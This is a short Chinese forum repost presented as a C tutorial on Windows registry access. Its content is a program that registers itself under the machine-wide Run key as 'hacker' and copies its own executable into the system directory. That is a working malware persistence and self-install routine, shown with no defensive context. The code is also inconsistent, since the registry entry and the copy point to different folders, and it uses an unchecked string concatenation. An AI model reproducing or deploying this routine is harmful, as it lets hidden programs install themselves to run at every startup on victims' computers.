C语言操作注册表 写入 读取信息

论坛 期权论坛 脚本     
已经匿名di用户   2022-3-21 23:41   2146   0

#include <stdio.h>
#include <windows.h>
int main(void)
{
char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hkResult;
int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);

ret=RegSetValueEx(hkResult,"hacker",0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%\\hacker.exe",25);
if(ret==0){
printf("success to write run key\n");
RegCloseKey(hkResult);
}
else {
printf("failed to open regedit.%d\n",ret);
return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(0,modlepath,256);//取得程序名字
GetSystemDirectory(syspath,256);
ret=CopyFile(modlepath,strcat(syspath,"\\hacker.exe"),1);
if(ret)
{
printf("%s has been copyed to sys dir %s\n",modlepath,syspath);
}
else printf("%s is exisis",modlepath);
return 0;
}

转载于:https://www.cnblogs.com/xuandi/p/6082691.html

分享到 :
0 人收藏
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

积分:81
帖子:4969
精华:0
期权论坛 期权论坛
发布
内容

下载期权论坛手机APP